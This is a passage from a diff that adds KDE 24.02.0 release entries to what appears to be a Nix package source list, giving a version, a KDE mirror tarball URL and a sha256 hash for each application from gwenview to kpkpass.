"24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/grantleetheme-24.02.0.tar.xz", + "hash": "sha256-+3+rHO2P6RU+1KxuihNboTNfO2NDD35btgKIRz+evGg=" + }, + "gwenview": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/gwenview-24.02.0.tar.xz", + "hash": "sha256-A2BtPLoVIPBFVqySsqpEn4Xn2so2pjcWLTPAXsQrsLQ=" + }, + "incidenceeditor": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/incidenceeditor-24.02.0.tar.xz", + "hash": "sha256-m0AagRUFacYh52OhxbfqB9JD5KlEXS4m3L6QoUaT45g=" + }, + "isoimagewriter": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/isoimagewriter-24.02.0.tar.xz", + "hash": "sha256-SEu12ZECvXRGfBnHb1o7Ezbg9SlOBKNBEKExCucVn4Y=" + }, + "itinerary": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/itinerary-24.02.0.tar.xz", + "hash": "sha256-bWOrwT/OTNCATb/BybfGWVuDOXJ1i9jYIH4SEKXnyUM=" + }, + "juk": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/juk-24.02.0.tar.xz", + "hash": "sha256-YvDfysvTJJ8vmxPxUdTRbuLClnWvBJxAnt6st+nxiIE=" + }, + "k3b": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/k3b-24.02.0.tar.xz", + "hash": "sha256-LySlx84ps6u88Uqu6SR2I1bc8PXqwAUfg6kt75v3tRw=" + }, + "kaccounts-integration": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kaccounts-integration-24.02.0.tar.xz", + "hash": "sha256-V4hCWECE4TYop68C52cxIiRMmgMISoUmYfTc5MVtgA4=" + }, + "kaccounts-providers": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kaccounts-providers-24.02.0.tar.xz", + "hash": "sha256-z2WVslg4ebPwwNFFnczrD5L6MqNknxsSzQ8eAinJV+4=" + }, + "kaddressbook": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kaddressbook-24.02.0.tar.xz", + "hash": "sha256-ZJFhF7zun1SSOrvOr8cz2wClLDjjnhvJHi3Ibqq8yvU=" + }, + "kajongg": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kajongg-24.02.0.tar.xz", + "hash": "sha256-Z+jXMjDPZA7aHP3bi2z7yObjiiRibr5yylyZYxNdQws=" + }, + "kalarm": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kalarm-24.02.0.tar.xz", + "hash": "sha256-AbS/EHNMlH4ohh34ljytllPYsWyFXRvjk3y+v58pWeY=" + }, + "kalgebra": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kalgebra-24.02.0.tar.xz", + "hash": "sha256-j6aVhapPHfbSCb4lpWVfjsIRbp9SX/h7tx6EYFAmKM4=" + }, + "kalk": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kalk-24.02.0.tar.xz", + "hash": "sha256-ncrjNBgbtfUMDmSSV9M9xgSTnydDG3lvGlx2+eeV26k=" + }, + "kalzium": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kalzium-24.02.0.tar.xz", + "hash": "sha256-DuxtcEFqvoJrNygPdOBelvKftrmxtkV1W4CPxYptlak=" + }, + "kamera": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kamera-24.02.0.tar.xz", + "hash": "sha256-fU41VmagdArlDX0S/hkHG9RYfslutZvB1l2KWO1w5zI=" + }, + "kamoso": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kamoso-24.02.0.tar.xz", + "hash": "sha256-epVdLiMWDVUEG5bfdWdPLxPeJswJSwXUV3nBOY8/mrk=" + }, + "kanagram": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kanagram-24.02.0.tar.xz", + "hash": "sha256-Wgc3wkuJ16RmH73J80NXdOPhe7bbRA60NwjYH0zagZU=" + }, + "kapman": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kapman-24.02.0.tar.xz", + "hash": "sha256-VFzdFH0GWG1Q624zmQIWob45ezlIr9rWeEoeo769meg=" + }, + "kapptemplate": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kapptemplate-24.02.0.tar.xz", + "hash": "sha256-3XWfNVlUBrackatgMith9yyKtVsSgiIrFm1dvaOu3uE=" + }, + "kasts": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kasts-24.02.0.tar.xz", + "hash": "sha256-4h2+kJakb87fk7k+Ole7HYihk5zAUULk2ckN2XCHuec=" + }, + "kate": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kate-24.02.0.tar.xz", + "hash": "sha256-mx78zPTjbvzbwuraY5nNgSjOGHoZGCQAMTBi917jX0g=" + }, + "katomic": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/katomic-24.02.0.tar.xz", + "hash": "sha256-HCADUPHtuGBJCGpi8+r0NZEOmqXOfinMhanEgCcgCP4=" + }, + "kbackup": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kbackup-24.02.0.tar.xz", + "hash": "sha256-6zDO95RC7D1Dp9mrAYtRdeuez8PDKmm65PpNdlxekr0=" + }, + "kblackbox": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kblackbox-24.02.0.tar.xz", + "hash": "sha256-hw6ONCbMwWRN3+9614vM14m6Ctvl7Ws0P95cRRYQc00=" + }, + "kblocks": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kblocks-24.02.0.tar.xz", + "hash": "sha256-vVvjY9VfjNWMhNgA1y3n+nvx73p1GszZTJ6ZJyd1fXc=" + }, + "kbounce": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kbounce-24.02.0.tar.xz", + "hash": "sha256-X1B1rBy1D4CEcBT7VpRmIUS2C0in4KaZsESVFHH+8lg=" + }, + "kbreakout": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kbreakout-24.02.0.tar.xz", + "hash": "sha256-K5JdwUuyO517uUFIozLfaYcZ8ki8P0htz3rFqn/UHl4=" + }, + "kbruch": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kbruch-24.02.0.tar.xz", + "hash": "sha256-hC8ZOpn3PJ9dZQLA+czyHiORVx/tyJDi2D6QdM8m38U=" + }, + "kcachegrind": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kcachegrind-24.02.0.tar.xz", + "hash": "sha256-4R1RYWUKVNsiREsZPVIee9jJcLiwguFYgxmDdG4BZfU=" + }, + "kcalc": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kcalc-24.02.0.tar.xz", + "hash": "sha256-wZtjnWMr7h7fPp+DLnmB9WcaErRktGeLpS27H/8vx8U=" + }, + "kcalutils": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kcalutils-24.02.0.tar.xz", + "hash": "sha256-gXZ+Fd8kNPxDpcfLi/YAKrNVDONP1Hxtzlh49VuSuD8=" + }, + "kcharselect": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kcharselect-24.02.0.tar.xz", + "hash": "sha256-YTDOe4n1Fk/taeiZ8xuxGMgASKIRYdLiK5Tlwg0GjaQ=" + }, + "kclock": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kclock-24.02.0.tar.xz", + "hash": "sha256-WwoZuoUwZ6JhdpKbxlOVAx3pMFVVZgYtGaLuFPiIYkY=" + }, + "kcolorchooser": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kcolorchooser-24.02.0.tar.xz", + "hash": "sha256-Nic2tvUMD2EJtroFjRQUmifhaRgkvGQj5xhkldpBkSM=" + }, + "kcron": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kcron-24.02.0.tar.xz", + "hash": "sha256-X/hkM7avtAUMKEsfFf0lCBcreZWoZnY24nQqjZvPFaM=" + }, + "kdebugsettings": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdebugsettings-24.02.0.tar.xz", + "hash": "sha256-Kk1DsnxGel6uS/pWyxecBnflYyMipu+qHjmCVBctZqo=" + }, + "kdeconnect-kde": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdeconnect-kde-24.02.0.tar.xz", + "hash": "sha256-2VxbNpPRS5VPsJoi0vwXEoFapCR0DL9YcsQKWe1CTg0=" + }, + "kde-dev-scripts": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kde-dev-scripts-24.02.0.tar.xz", + "hash": "sha256-AOmjoUY5frMMQ2Oj1fsQVc0xDd5oRfBrWApgVmZ5tp0=" + }, + "kde-dev-utils": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kde-dev-utils-24.02.0.tar.xz", + "hash": "sha256-Ug4MlnOicBnOkGkHT3j/cujRiQ7ho/LpfFJyRPcEMUk=" + }, + "kdeedu-data": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdeedu-data-24.02.0.tar.xz", + "hash": "sha256-Cl2akMYUdnn/NszV0PhgdZjj2J/RPlKawdZQksoX728=" + }, + "kdegraphics-mobipocket": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdegraphics-mobipocket-24.02.0.tar.xz", + "hash": "sha256-fCNtFpIZJqvY0TuAk0UG0XglrsSU99gUEEjmKydIS4I=" + }, + "kdegraphics-thumbnailers": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdegraphics-thumbnailers-24.02.0.tar.xz", + "hash": "sha256-GsDPFZgrHXcBKxOEXlJUwjCiYi0q/Z76d2lfaGElaos=" + }, + "kde-inotify-survey": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kde-inotify-survey-24.02.0.tar.xz", + "hash": "sha256-UPil14KZALlNu9dtqTCFR8qggT3pMz3G54GV6BqG0+E=" + }, + "kdenetwork-filesharing": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdenetwork-filesharing-24.02.0.tar.xz", + "hash": "sha256-I/MUm00NLduYUFRDJm6vzYy1+XAJ6RMnG5QSyTaczm0=" + }, + "kdenlive": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdenlive-24.02.0.tar.xz", + "hash": "sha256-E1qR6ZGOtjH+uCK2eGJfNVfpW2pehr3h06wd9jQBUUY=" + }, + "kdepim-addons": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdepim-addons-24.02.0.tar.xz", + "hash": "sha256-AOUdgRbc1HIqLhaPhwBPYjyIyHX28CvbeMFmrBoLfCc=" + }, + "kdepim-runtime": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdepim-runtime-24.02.0.tar.xz", + "hash": "sha256-XNqKp7PYp71Sb73SDfMPVqLc8QqETYim9xuRIgZ7qzU=" + }, + "kdesdk-kio": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdesdk-kio-24.02.0.tar.xz", + "hash": "sha256-MMdAZZqtHukDGhnCo9dV/Xj4HwK7rCfJkM6iLezDoFk=" + }, + "kdesdk-thumbnailers": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdesdk-thumbnailers-24.02.0.tar.xz", + "hash": "sha256-RPh4+mDQPeznFzSnu5LqN3Y+2hDWAjll+rFfwuojMwc=" + }, + "kdevelop": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdevelop-24.02.0.tar.xz", + "hash": "sha256-ICrN+1Oxve65kV6rGgBW0ZAEDYgJA4lQvy7I1E+oHhk=" + }, + "kdev-php": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdev-php-24.02.0.tar.xz", + "hash": "sha256-c/SC70a3Glz7eLiGwmz9DWGCdISGgeYEdSj6ypbQ60k=" + }, + "kdev-python": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdev-python-24.02.0.tar.xz", + "hash": "sha256-qUsJfgsXoHBxWlG4f98xRWZ2frnlNaJ4Dt81Jl007Cs=" + }, + "kdf": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdf-24.02.0.tar.xz", + "hash": "sha256-vJ9rEouG1m7ZwRjndGSQQKY0L7dnsyfc4h9UuK3Mw08=" + }, + "kdialog": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdialog-24.02.0.tar.xz", + "hash": "sha256-d0odH6oCW2iC72XoBtc6fRlWClYOnBzerMAgKwHwvd0=" + }, + "kdiamond": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kdiamond-24.02.0.tar.xz", + "hash": "sha256-0yKSPPbSn83ewxlPF55FtEAZXG3eXR7lsypLvxx5epo=" + }, + "keditbookmarks": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/keditbookmarks-24.02.0.tar.xz", + "hash": "sha256-GLvT+HyhIlVIjXDipYiS6YOFeB8epo/qvU/JZXtVhgc=" + }, + "keysmith": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/keysmith-24.02.0.tar.xz", + "hash": "sha256-6V+kxaDMZuzGYoOSueOiszrN2zLZ/gV5JTQZWYv7IEs=" + }, + "kfind": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kfind-24.02.0.tar.xz", + "hash": "sha256-wrhF9gz4z8VH7RgAZ/IdrgFdzKySLTxwXesLn1lDAAc=" + }, + "kfourinline": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kfourinline-24.02.0.tar.xz", + "hash": "sha256-liP40dPpgoBr5uFnzHsCD7FDjHKOTemIQNV6lHrto3M=" + }, + "kgeography": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kgeography-24.02.0.tar.xz", + "hash": "sha256-CUVKlvIaUF7aC20A/Fx3GvR48/3FivY3/iRBHobxcbY=" + }, + "kget": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kget-24.02.0.tar.xz", + "hash": "sha256-Z4sJOWwHfKt/5euOJ1qFNElSKfMZW6xmldicV7i+Ru4=" + }, + "kgoldrunner": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kgoldrunner-24.02.0.tar.xz", + "hash": "sha256-9kEUKpW/YFUC5/8RwunRMGr/A0R8sUG1IlIK1pNDcBk=" + }, + "kgpg": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kgpg-24.02.0.tar.xz", + "hash": "sha256-G+Jh+Gax8epW0a18wGuRsC54TQHsB+lER5vgQn32eAc=" + }, + "khangman": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/khangman-24.02.0.tar.xz", + "hash": "sha256-DsBcVkZmEepMS4ba0vkNRtcyUp/R1LdJsPLxTS82pvE=" + }, + "khealthcertificate": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/khealthcertificate-24.02.0.tar.xz", + "hash": "sha256-sDjTpv1FzmwZuA0piU0P/gNvfLr4/Pz9kopfui5rpEk=" + }, + "khelpcenter": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/khelpcenter-24.02.0.tar.xz", + "hash": "sha256-+YKRgB6Do66nVs5jdciWRs7dcVaW9oypDFpXOHGSkMY=" + }, + "kidentitymanagement": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kidentitymanagement-24.02.0.tar.xz", + "hash": "sha256-/dTFko8UEiwztPl891h6B2iebRaLOlajG3+mDXFJBIw=" + }, + "kig": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kig-24.02.0.tar.xz", + "hash": "sha256-YLxI/ZxPybmoMP+AaZPfrLn2SwKmPgzliKFgxT+m4KM=" + }, + "kigo": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kigo-24.02.0.tar.xz", + "hash": "sha256-atr3+yK3mBjznenbcHoWuQXUYZs9++727QtggeF8Km0=" + }, + "killbots": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/killbots-24.02.0.tar.xz", + "hash": "sha256-zMNzSdlypSwSFMofkSHSwSJOTWyUHNSjLGppBcuemaE=" + }, + "kimagemapeditor": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kimagemapeditor-24.02.0.tar.xz", + "hash": "sha256-hBaiCHRMZ3WeK4eKnq+9fXCjwIdKJfTmUENVW4ip0ao=" + }, + "kimap": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kimap-24.02.0.tar.xz", + "hash": "sha256-5e/gxzfBjDArMThPQ4HcgmaNZw346uPfGFPdieojtwY=" + }, + "kio-admin": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kio-admin-24.02.0.tar.xz", + "hash": "sha256-z/rba5KQk00NkBpghVByi/X62o4FDY5fqUHDdaCHmQ8=" + }, + "kio-extras": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kio-extras-24.02.0.tar.xz", + "hash": "sha256-gFWWyWqZtSKzrraZK8YMFKHEzNIA4CcUPo3tlIyZYt8=" + }, + "kio-extras-kf5": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kio-extras-kf5-24.02.0.tar.xz", + "hash": "sha256-LxNk8XF1rRzhkbw/IhaFRX9YZKVH1GzLcqYWKD2ArFM=" + }, + "kio-gdrive": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kio-gdrive-24.02.0.tar.xz", + "hash": "sha256-ufTXGrtoZydhFRrmapKugC8If0Ek6n5qpzZUIiRxkBM=" + }, + "kio-zeroconf": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kio-zeroconf-24.02.0.tar.xz", + "hash": "sha256-vW6U6K+KGlgDznjyDUDMxpR9tOsE0Gf5Uj18hpYfcU8=" + }, + "kipi-plugins": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kipi-plugins-24.02.0.tar.xz", + "hash": "sha256-5Auv82sYRsypHu0KD2P2Wr9pfXYTxHM4iWJv8fPSGWA=" + }, + "kirigami-gallery": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kirigami-gallery-24.02.0.tar.xz", + "hash": "sha256-G+pLnuMoJU72rsrdrh0djhHAADThWHvIKyp2yi5iTIw=" + }, + "kiriki": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kiriki-24.02.0.tar.xz", + "hash": "sha256-4pbohCmFYQdO+KTAJ48/fCHxRFtkXW3H3mKVZe7FBrs=" + }, + "kiten": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kiten-24.02.0.tar.xz", + "hash": "sha256-et2aCiEidVKUc8Wc5OR/hsmHu8ITY9yW7VwjvglZYYE=" + }, + "kitinerary": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kitinerary-24.02.0.tar.xz", + "hash": "sha256-4YxiNjYH3XaQkunhX84+ACUNcG940cfYrSg1vGINl3o=" + }, + "kjournald": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kjournald-24.02.0.tar.xz", + "hash": "sha256-pPTLND/FD6UK7BYfKP9VznALXC9Fo4qrJtTNBCAounQ=" + }, + "kjumpingcube": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kjumpingcube-24.02.0.tar.xz", + "hash": "sha256-qfwO/Kmzxdalf+u0cS9pIXCJIt9HqfBG8IXVx5OoS7w=" + }, + "kldap": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kldap-24.02.0.tar.xz", + "hash": "sha256-AT2c3pSO84rZRRAT5FTDnbcD/Hw3w6kWcKmp5kX8VRo=" + }, + "kleopatra": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kleopatra-24.02.0.tar.xz", + "hash": "sha256-uRSG9ACE2IaCQzkwHfA434RjKj2BuSVNh3NCQNzZmDg=" + }, + "klettres": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/klettres-24.02.0.tar.xz", + "hash": "sha256-uNL+4Ady3ZLHyE9S+ACb2AFoFKdd35DZh3bgbsrvYXs=" + }, + "klickety": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/klickety-24.02.0.tar.xz", + "hash": "sha256-4FiMmSQgF1bo/jgTZwb+32K8hGLZj2SBkr1denfnNag=" + }, + "klines": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/klines-24.02.0.tar.xz", + "hash": "sha256-72TJ5HDcHIUcEAEqj6v10HEXBIfyfzyzHMahNgs8so4=" + }, + "kmag": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmag-24.02.0.tar.xz", + "hash": "sha256-puRJXUqvOU7mDf+L3ysEtLLT1vzeEJJdiP3cn2WTK/w=" + }, + "kmahjongg": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmahjongg-24.02.0.tar.xz", + "hash": "sha256-aNWmPk40em68VIQjXhA6CEACqxYmNcBfCchx3zzdBh4=" + }, + "kmail": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmail-24.02.0.tar.xz", + "hash": "sha256-NDPwJTVR00DYoPI8HyotUQbhJ+DcnIK+PTCz/DPDd5k=" + }, + "kmail-account-wizard": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmail-account-wizard-24.02.0.tar.xz", + "hash": "sha256-MShJn7xViuFpGQWgGr+OKPcQQm4VrPsoaOHKcWM0XcE=" + }, + "kmailtransport": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmailtransport-24.02.0.tar.xz", + "hash": "sha256-0esQYgfuuIss9vKzs6R++IGD21ATmpFJ26DXKAXgT6o=" + }, + "kmbox": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmbox-24.02.0.tar.xz", + "hash": "sha256-bqjqQ0g0idRGf1KBYxAa9PsZ6jNmTHKFeyq/6KRo9AM=" + }, + "kmime": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmime-24.02.0.tar.xz", + "hash": "sha256-TxJRSE8Ytu7fYskhmlBOY1feWt/0AWzDSnFN0Mt0gGU=" + }, + "kmines": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmines-24.02.0.tar.xz", + "hash": "sha256-iuyasRb2vN+5Qo+DkLW3LvULiDqMOHikluDJqzjn/cU=" + }, + "kmix": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmix-24.02.0.tar.xz", + "hash": "sha256-kcmI6fq5xVPMWakgKzpkvQhmpOPDI2++1Hw4U7Z2gX8=" + }, + "kmousetool": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmousetool-24.02.0.tar.xz", + "hash": "sha256-iLM2UIgD2/t26aPIlx2kZ0JHOMmsNwZMr+UARXepbOo=" + }, + "kmouth": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmouth-24.02.0.tar.xz", + "hash": "sha256-7aRXYrRkOMnUIZG6Ks2IaTKL9IpmSfGzRZ2G9+XJ5Gw=" + }, + "kmplot": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kmplot-24.02.0.tar.xz", + "hash": "sha256-ui6FaOEBxKuXMHcqPg0+X04hwpk7rRee5hod+68EWHY=" + }, + "knavalbattle": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/knavalbattle-24.02.0.tar.xz", + "hash": "sha256-VxD8HBZTIeczXpjGV/WDw9Qt2nMEyVvQElDmNlNU4ZI=" + }, + "knetwalk": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/knetwalk-24.02.0.tar.xz", + "hash": "sha256-PiBdDwXA8NMJ8nMqBENjsZkiLqdi+81wzzniAfbvN1w=" + }, + "knights": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/knights-24.02.0.tar.xz", + "hash": "sha256-QjCT6HJOzjNtFHbgD8zhFSe9OuVVeCGdoxOGh4e+HfA=" + }, + "knotes": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/knotes-24.02.0.tar.xz", + "hash": "sha256-QELnoh1ac9ZvmhdyCxBBCDx9G6I+RfRlid+9eYMj/t0=" + }, + "koko": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/koko-24.02.0.tar.xz", + "hash": "sha256-b51ePO2XLLPB9UFinnFgLOJWy2omwzQH7xb+QCDL8do=" + }, + "kolf": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kolf-24.02.0.tar.xz", + "hash": "sha256-g28WB/Ynb5Fa+4gyV9tQriTudp4XiW87rTpRpKgLFC4=" + }, + "kollision": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kollision-24.02.0.tar.xz", + "hash": "sha256-945+1QG9Y1wEHz9R9jyhZgqjho6gznmhVLxmGDughT4=" + }, + "kolourpaint": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kolourpaint-24.02.0.tar.xz", + "hash": "sha256-TWUkBV91X13c66eXureQmubABLZpP7Svb8bw8incn08=" + }, + "kompare": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kompare-24.02.0.tar.xz", + "hash": "sha256-b1gwy6sew3OkOLVxkb/hzRKPcnGmHLNN3aU5O47iN74=" + }, + "kongress": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kongress-24.02.0.tar.xz", + "hash": "sha256-t4QsBIC8Bb3q5BZyG64qvxW1Vc5nF02ZZwXkqAvyJNk=" + }, + "konqueror": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/konqueror-24.02.0.tar.xz", + "hash": "sha256-eWMepFIch+Soam/VinRA3sWrunK9gVcvwq+uyLG1NkE=" + }, + "konquest": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/konquest-24.02.0.tar.xz", + "hash": "sha256-ez/sNbLqLjQK43QKNS9r7th9MghtBpyurF2vBGJ1m+c=" + }, + "konsole": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/konsole-24.02.0.tar.xz", + "hash": "sha256-KRXtzYVlUr1hme+yPcrxlGBe5PswfHXidgYZglPf3+A=" + }, + "kontact": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kontact-24.02.0.tar.xz", + "hash": "sha256-4kVTXlOvLk/aQxWIAjKfWAuMivFprFew4rrqLDkk5Yw=" + }, + "kontactinterface": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kontactinterface-24.02.0.tar.xz", + "hash": "sha256-c4WDAWz/AexNYGiNOzKUiyvJ2U9VvnZtQU6LTM9+484=" + }, + "kontrast": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kontrast-24.02.0.tar.xz", + "hash": "sha256-kZUHEuCNOSR4N+MqU73BFgP9SE10om3WNEQQ5oLGERw=" + }, + "konversation": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/konversation-24.02.0.tar.xz", + "hash": "sha256-yNdUoY/x9olK1YHJe5TDJj5L4jihfjL5woyWBkuBguk=" + }, + "kopeninghours": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kopeninghours-24.02.0.tar.xz", + "hash": "sha256-CVo8wVkB/EGBat0MrLmNpGQ1ZnrCS+GOxV9vugWBhHc=" + }, + "korganizer": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/korganizer-24.02.0.tar.xz", + "hash": "sha256-QlHvzihgYE2yOqAjSy/tq+4irqL2k3klm/7HOwzQCTI=" + }, + "kosmindoormap": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kosmindoormap-24.02.0.tar.xz", + "hash": "sha256-+Id+XQ4viBs16Jez1Y5Wue8jrs8eqL4MsvSwHLXXNjQ=" + }, + "kpat": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kpat-24.02.0.tar.xz", + "hash": "sha256-oPGn3s2Q9T5usfetmW2QqfxKtJzKpJdupNBA1XahxpI=" + }, + "kpimtextedit": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kpimtextedit-24.02.0.tar.xz", + "hash": "sha256-8T3ON2k8xMlaAFp6zoniAeoQD/leLlshXFVMKnjwXzM=" + }, + "kpkpass": { + "version": "24.02.0", + "url": 